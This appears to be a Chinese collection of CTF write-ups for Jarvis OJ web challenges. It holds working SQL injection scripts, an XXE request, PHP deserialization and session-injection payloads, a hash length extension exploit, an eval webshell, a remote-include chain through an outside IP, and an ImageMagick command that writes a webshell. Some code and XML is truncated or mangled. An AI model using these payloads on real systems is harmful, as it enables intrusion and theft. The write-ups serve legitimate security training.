套路题,构造headers中加上x-forwarded-for=127.0.0.1
即可
PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}
访问了页面发现让你
Please use port 51 to visit this site.
明显是绑定的端口,不可能用51端口去访问啊,很困惑结果是自己去访问的时候需要用到51端口啊…原来如此,使用curl中的–local-port命令
--local-port <端口号>[-num]
设置连接使用的首选端口号或本地端口范围。请注意,端口号是一种稀缺资源,
繁忙时,请将端口范围缩小来避免不必要的连接失败。(在7.15.2版加入)
构造payload如下
sudo curl --local-port 51 http://web.jarvisoj.com:32770/
得到结果
PCTF{M45t3r_oF_CuRl}
目录扫一下没什么特别的东西,看一下源码发现了关键代码
<script>
function XHR() {
var xhr;
try {xhr = new XMLHttpRequest();}
catch(e) {
var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
for (var i=0,len=IEXHRVers.length;i< len;i++) {
try {xhr = new ActiveXObject(IEXHRVers[i]);}
catch(e) {continue;}
}
}
return xhr;
}
function send(){
evil_input = document.getElementById("evil-input").value;
var xhr = XHR();
xhr.open("post","/api/v1.0/try",true);
xhr.onreadystatechange = function () {
if (xhr.readyState==4 && xhr.status==201) {
data = JSON.parse(xhr.responseText);
tip_area = document.getElementById("tip-area");
tip_area.value = data.task.search+data.task.value;
}
};
xhr.setRequestHeader("Content-Type","application/json");
xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
script>
审核完代码没有发现什么东西,一个AJXA异步post上传,也没看出什么,看了题解后才明白是XXE实体上传漏洞,原来对这个漏洞也是闻所未闻,所以后面专门记录一下吧
我们直接讲利用,看到原本的post包是这样的
大概讲一下XXE漏洞就是利用xml中的entity实体读取文件。
]>引用外部文件
]> 全局变量
* 就是利用post过去的xml实体,构造有特定功能的xml来达到目的!*
这里我们利用xxe漏洞首先需要修改Content-Type为application/xml
,即传递类型为xml格式,然后修改post值为
]>
<methodcall>
<methodname>&xxe;methodname>
methodcall>
完成攻击
CTF{XxE_15_n0T_S7range_Enough}
首先扫一下代码,发现存在robots.txt,代开看一下
flag{hello_admin~}
直到最后作出这道题目我的脑子都是蒙蔽的,这根本不像WEB…
首先扫了一下目录,毛线都没的…然后看源码,发现有一个app.js比较可疑,然后用chrome的source看一下,但是这代码也太多了…
不管,用burp截包看一下,猛一下精神一振
别急,菊花一紧没卵用,该cookie是没用的,复制Wrong Password!!
去app.js上找一下!发现了什么
r.checkpass = function() {
var e;
return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments)
}
继续搜索看到真正的检验代码
function(e) {
if (25 !== e.length)
return !1;
for (var t = [], n = 0; n < 25; n++)
t.push(e.charCodeAt(n));
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) {
for (var i = 0, a = 0; a < 25; a++)
i += t[a] * o[n][a];
if (i !== r[n])
return !1
}
return !0
}
瞬间脑子就炸了,这不是密码嘛…但是细看没那么恐怖…起始就是25元1维方程组…当然我自己写不出来,但是python1的numpy库中有这样的函数啊,直接怼脚本吧…
#coding:utf-8
import numpy
x=[[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]]
x=numpy.array(x) #xi shu
y=[325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
y=numpy.array(y)
z=numpy.linalg.solve(x,y)
flag = ''
for i in z:
flag+=chr(int(round(i)))
print flag
QWB{R3ac7_1s_interesting}
首先进入网站,一看就是个模板,猜测是源码泄漏,用工具扫一下,发现是git源码泄漏,默默掏出工具Githack下载源码
http://web.jarvisoj.com:32798/?page='.system("tac templates/flag.php").'
http://web.jarvisoj.com:32798/?page=' and die(show_source('templates/flag.php')) or '
http://web.jarvisoj.com:32798/?page=/././')|system('tac templates/flag.php');//
61dctf{8e_careful_when_us1ng_ass4rt}
题目本身是caws2016的题目,也很有意思。
首先看到题目截取包发现header中存在hint
Hint: "select * from `admin` where password='".md5($pass,true)."'"
要点是利用了md5和sql语句可以利用16进制的特性,构造特殊的项查找注入,结果可以找到如下ffifdyop
,转换成md5进制后成了276f722736c95d99e921722cf9ed621c
,再转成字符串: 'or'6
然后就好办了
PCTF{R4w_md5_is_d4ng3rous}
提示找到源码,就是源码泄漏,工具小子一发
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>
发现sql语句,但是还发现存在一个不知名的Filter函数过滤,只能硬着头皮试了,首先我们分析,问题1,如何绕过?我们看到关键代码如下
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
在这里需要普及一下desc的语法允许传入两个参数!
{DESCRIBE | DESC} tbl_name [col_name | wild]
而且在普通的sql中,连续的两个`相当于一个空格(类似分隔符号),这样我们可以构造注入,当然因为要第一句成功,搜索的table必须存在,在第二句为了输出我们想要的,需要查询的第一部分失效!payload如下
test` ` where 1=2 union select 1
desc `secret_test` ` where 1=2 union select 1`
select 'flag{xxx}' from secret_test` ` where 1=2 union select 1
接着就是套路了,幸好本题没什么过滤…爆table
http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select table_NAME from information_schema.tables limit 0,1
爆cloumn
http://web.jarvisoj.com:32794/?table=test` `where 1=2 union+select column_NAME from information_schema.columns limit 0,1
http://web.jarvisoj.com:32794/?table=test` ` where 1=2 union select flagUwillNeverKnow from secret_flag
flag{luckyGame~}
还是值得一提的desc这个,居然支持通配符字符 “%” 和 “_”,部分时候可以考虑用它爆列表名!
mysql> desc flag f___;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| flag | varchar(200) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.00 sec)
mysql> desc flag ____;
+-------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| flag | varchar(200) | YES | | NULL | |
+-------+--------------+------+-----+---------+-------+
1 row in set (0.01 sec)
mysql> desc flag a___;
Empty set (0.00 sec)
详细的可以看Veneno师傅的文章
http://www.venenof.com/index.php/archives/380/
这是个老题目了,首先扫目录无果,查看源码很快发现showimg.php文件了,观察它的url构造,很像是一个文件包含啊,当然我们现在不知道有什么文件(除了哪个神盾图,应该没用),不妨看一下showimg.php自己能否成功,发现了源代码
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
发现过滤了pctf这个关键词,实验之后发现了pctf.php文件,但是有什么错误…应该还没完
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
差点忘记了,每次都是自动跳转的!然后还看到了有一个shield.php,查看一下!
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
发现sheild.php中并没有过滤pctf字段啊,可以利用,再看index.php中可以利用class控制输入!
构造payload如下
http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
得到flag
PCTF{W3lcome_To_Shi3ld_secret_Ar3a}
上来直接了当看到源代码
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
这个利用的是php的session解析不同导致的注入,首先我们看一下session序列化和反序列化的三种形式
处理器 | 对应的存储格式 |
---|---|
php | 键名 + 竖线 + 经过 serialize() 函数反序列处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值 |
php_serialize (php>=5.5.4) | 经过 serialize() 函数反序列处理的数组 |
我们可以看到php只是比php_serialize序列化多出了一个键名 + 竖线 ,键名可以是空的,那么我们只需要多加一个|
就可以完成代码注入,我们做一个小实验,构造两个文件index.php和flag.php,其代码如下
//index.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["OowoO"]=$_GET["a"];
echo $_SESSION["OowoO"];
?>
//flag.php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
?>
可以看到index.php中为session的输入,形式为php_serialize,而flag.php中解析的形式为php,那么我们构造请求
localhost/index.php?a=|O:5:"OowoO":1:{s:4:"mdzz";s:14:"echo "hacker";";}
继续看本题,但是我们并没有可以输入代码的地方啊,参考了大牛的答案发现可以利用Session Upload Progress
进行上传 参考资料如下
https://secure.php.net/manual/en/session.upload-progress.php
我们构造一个文件,内容为
然后用burp截取上传的数据包,然后我们只要修改其中的filename即可完成上传。
在本地创建一个.php文件用于生成我们需要的序列化代码
ini_set('session.serialize_handler', 'php_serialize');
class OowoO
{
public $mdzz='需要设置的代码';
function __construct()
{
// $this->mdzz = 'phpinfo();';
}
function __destruct()
{
// echo $this->mdzz;
}
}
$obj = new OowoO();
echo serialize($obj);
?>
我们尝试一下,构造|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:14:\"echo \"spoock\";\";}
(双引号需要用转义符号转义)返回了spoock,成功!
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:35:\"print_r($_SERVER[\"DOCUMENT_ROOT\"]);\";}
/opt/lampp/htdocs
,然后看看那里有没有宝贝,然后发现了答案所在的位置
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:39:\"print_r(scandir('/opt/lampp/htdocs/'));\";}
构造得到flag
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:73:\"show_source(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\");\";}
CTF{4d96e37f4be998c50aa586de4ada354a}
这个题目对弱来说确实是比较新得题目了,没有想到锅这个功能·
首先下载源文件后发现类似逆向得东西,感觉非常困惑,经过学习原来mysql是可以调入.so文件得,然后可以实现函数得引用,下面所使用得命令和方法很简单,主要是接触了一项新功能把~
首先学习到可以添加.so文件到路径/usr/lib/mysql/plugin
中!(环境是ubuntu),然后我们可以用wget下载到该目录,也可以修改权限将下载好得文件放到这里!
然后进入mysql之中,根据提示可以利用help_me函数!利用如下语句!(神奇)
mysql> create function help_me returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
然后我们查看一下
select help_me();
然后说答案在getflag中,同样我们构造getflag函数
mysql> create function getflag returns string soname 'udf.so.02f8981200697e5eeb661e64797fc172';
然后查看
select getflag();
PCTF{Interesting_U5er_d3fined_Function}
首先打开网页发现说管理员才能看到内容,用burp抓包一下发现
s:5:"guest";
改成
s:5:"admin";
但是貌似没什么用处,目录扫描一发,发现存在泄露代码!
<html>
<head>
<title>Web 350title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
style>
head>
<body>
$auth = false;
$role = "guest";
$salt = ;
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
}
else {
$auth = false;
} else {}
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "Welcome Admin. Your flag is "
}
else {
echo "Only Admin can see the flag!!
";
}
?>
body>
html>
发现存在hash扩展攻击!因为是倒叙加密得,而且低版本得php在序列化得时候存在%00截断!我们已经知道了$salt+;”tseug”:5:s 的hash值了!然后我们直接想办法攻击!
这里有两种方法,可以看我的博客了!
http://blog.csdn.net/qq_35078631/article/details/70941204
将我文章中的两个利用代码exp.py和my_md5放在一个位置上,然后建立一个新的py文件,自己利用代码,爆破长度!写了一晚上终于写出来了…这个注意写py脚本的时候要用urlencode的格式,不能用chr(0)啥的,在本地py程序测试的时候是可以的…晕菜
# -*- coding: utf-8 -*-
import requests
import urllib
import my_md5
import exp
import sys
def replace_all(str):
return str.replace(':','%3A').replace('"','%22').replace(';','%3b')
s1=0xd527473a
s2=0x22f16374
s3=0x739e3d83
s4=0xe0e4942f
post_the_pack=requests.Session()
for length in range(1,32): #爆破未知长度
secret_admin='x'*length+';"tseug":5:s'+'\x80'+'\x00'*(43-length)+chr((length+12)*8)+'\x00'*7+';"nimda":5:s'
r = my_md5.deal_rawInputMsg(secret_admin)
inp = r[len(r)/2:]
hash=my_md5.run_md5(s1,s2,s3,s4,inp)
exp=replace_all('role=s:5:"admin";')+'%00'*7+'%'+str(hex((length+12)*8)[2:])+'%00'*(43-length)+'%80'+replace_all('s:5:"guest";')+';'+'%20hsh='+hash
print exp
headers={
'Host': 'web.jarvisoj.com:32778',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Cookie':exp,
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1'
}
req=post_the_pack.post('http://web.jarvisoj.com:32778/',headers=headers,timeout=4)
print 'this is test '+str(length)+'\n'+req.text
发现原来的长度为12
PCTF{H45h_ext3ndeR_i5_easy_to_us3}
借此机会复习了hash长度扩展攻击.嗯
发烧了,头晕,没思路,先看了看大神的代码,理了理思路开始做
首先扫描目录,未果,乖乖注入
尝试admin发现存在admin账户
然后在换一个用户会提示账号错误,说明判断的时候账号和密码是分开的。
然后继续尝试
username:admin'#
password:任意
发现返回时密码错误!也就是说username可以用单引号构造注入!而且没有过滤省略符号#,然后不由地想到了经典的注入如下
mysql> select flag from flag where info='admin';
+--------------------+
| flag |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set (0.00 sec)
mysql> select flag from flag where info='admin'^0^1;
Empty set, 2 warnings (0.00 sec)
mysql> select flag from flag where info='admin'^1^1;
+--------------------+
| flag |
+--------------------+
| flag{flag_is_here} |
+--------------------+
1 row in set, 2 warnings (0.00 sec)
自己尝试一下发现并没有过滤^
符号,然后可有构成盲注!继续测试
username:admin' or '1'='1'#
password:任意
发现是可以的,后面才发现被坑惨了…因为实际上它时过滤了空格的…在后面调试过程中才发现…mdzz….
然后我们准备盲注吧,首先想到实验吧的经典盲注
首先利用post的值判断一下过滤了什么关键函数
username=admin'^(select/**/1)^1#&password=admin
发现mid、,、()、ascii、=
都没有过滤,但是考虑为了速度利用二分法注入,用ascii、substr进判断,直接上脚本
#_*_ coding:utf-8 _*_
import requests,re,string
url = 'http://web.jarvisoj.com:32787/login.php'
headers = {
'Host': 'web.jarvisoj.com:32787',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Accept-Encoding':' gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '48',
'Referer': 'http://web.jarvisoj.com:32787/login.php',
'Cookie': 'PHPSESSID=6oucegin4mf14vdvfutlg1tp46',
'Connection':' keep-alive',
'Upgrade-Insecure-Requests': '1'
}
temp=['']
def search2(content,length,l,r):
global temp
global url
global headers
#print l,r
if l>r :
return
mid =(l+r)/2
postdata="admin'^(select ascii(substr(%s,%s,1))<=%s)^1#"%(content,str(length),mid)
postdata=postdata.replace(' ','/**/')
data = {'username':postdata,'password':'admin'}
html = requests.post(url,headers=headers,data=data).text.encode('utf-8')
text=re.findall(r'(.*?)',html,re.S)[0].decode('utf-8')
if len(text)==5:
search2(content,length,(l+r)/2+1,r)
else:
if mid0]):
temp[0]=chr(mid)
search2(content,length,l,(l+r)/2-1)
def get_database():
print 'Geting the database'
global temp
database=''
for length in range(1,50):
temp[0]=chr(255)
search2('database()',length,30,127)
if temp[0]==chr(30):
break
database+=temp[0]
print database
#print ord(temp[0])
print 'the database is : ',database
def get_tables():
global temp
print 'Geting the tables'
table=''
for length in range(1,50):
temp[0]=chr(255)
search2('(SELECT TABLE_NAME FROM information_schema.TABLES where TABLE_SCHEMA=0x696e6a656374696f6e limit 0,1)',length,30,127)
if temp[0]==chr(30):
break
table+=temp[0]
print table
print 'the table is : ',table
def get_columns():
global temp
print 'Geting the columns'
column=''
for length in range(1,50):
temp[0]=chr(255)
search2('(SELECT COLUMN_NAME FROM information_schema.COLUMNS where TABLE_NAME=0x61646d696e limit 2,1)',length,30,127)
if temp[0]==chr(30):
break
column+=temp[0]
print column
print 'the password column is : ',column
def get_password():
global temp
print 'Geting the password'
password=''
for length in range(1,50):
temp[0]=chr(255)
search2('(SELECT password FROM admin limit 0,1)',length,30,127)
if temp[0]==chr(30):
break
password+=temp[0]
print password
print 'the password is : ',password
get_database()
get_tables()
get_columns()
get_password()
最后得到password的md5值为334cfb59c9d74849801d5acdcfdaadc3
,去md5解密得到密码,登陆后得到flag
CTF{s1mpl3_1nJ3ction_very_easy!!}
首先看到奇怪的url,尝试文件包含,但是发现并不是
/尝试了文件上传,结果发现居然检测文件MIME内容…
http://web.jarvisoj.com:32785/uploads/1504147663.jpg
然后我们想,如果在uploads文件夹中不能运行jpg文件,那么之前我们失败的文包含件可否包含上传的图片!?尝试一下
然后构造图片木马,用类似http://web.jarvisoj.com:32785/index.php?page=uploads/1504147663.jpg%00
去包含
上传发现出现
<script language="php">@eval_r($_POST['cmd'])script>
直接莫名得到flag
CTF{upl0ad_sh0uld_n07_b3_a110wed}
首先看到页面
然后抓一下到admin目录的情况
一开始想的是加个X-FORWAREDE-FOR 头部完了,但是远远不是这样的,然后再观察proxy.php,应该就是远程的文件包含了,这里本地实验一下
构造如下
//1.php和2.php
echo file_get_contents($_GET['file']);
?>
3.php
eval($_GET['cmd']);
?>
然后本地实验一下
localhost:8080/1.php?file=http://localhost:8080/2.php?file=http://localhost:8080/3.php?cmd=system('whoami');
http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/
好歹和猜想差不多…但是题目本身貌似挂掉了…没法做…后就是大同小异了,扫描目录,得到文件内容直接利用shell拿到flag即可,后面没什么大意思,但是这个远程文件包含亮了
CTF{fl4g_1s_my_c40d40_1s_n0t_y0urs}
这个题目很好玩,之前没有接触过类似的东西…各种传统的文件上传没法绕过之后,参考了大牛的wp,发现是一个CVE ,利用的php的扩展工具imagick的漏洞
直接参考一篇文章,上面讲的比较详细,我们所使用的是其中的本地文件读取的部分
https://www.2cto.com/article/201605/505823.html
主要构造的payload如下
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/y.php; \"" 1.png
然后上传文件的时候需要注意需要filetype=show或者filetype=win,原因就是文章中原话:
这个方法鸡肋之处在于,因为delegate.xml中配置的encode="show"(或"win"),所以只有输出为.show或.win格式的情况下才会调用这个委托,而普通的文件处理是不会触发这个命令的。
其中paylaod的利用了/bin/echo这个功能,将内容输入到目的文件下,这个我们就相当于变相的上传小马了,但是不知道为什么我试验了很多种语句都没有创建成功???不知道是不是目标的环境问题还是我还遗漏了什么地方(自我感觉没什么了),总之其他的命令也不执行…(按道理上述步骤之后应该存在一个/uploads/y.php文件来着….)
但是貌似wp中的x.php上传成功了确实存在,我想是不是有人搅屎了…
然后如果上述成功的话就是菜刀连接或者直接找flag了
CTF{873dfee87823248f4a1657650204697a}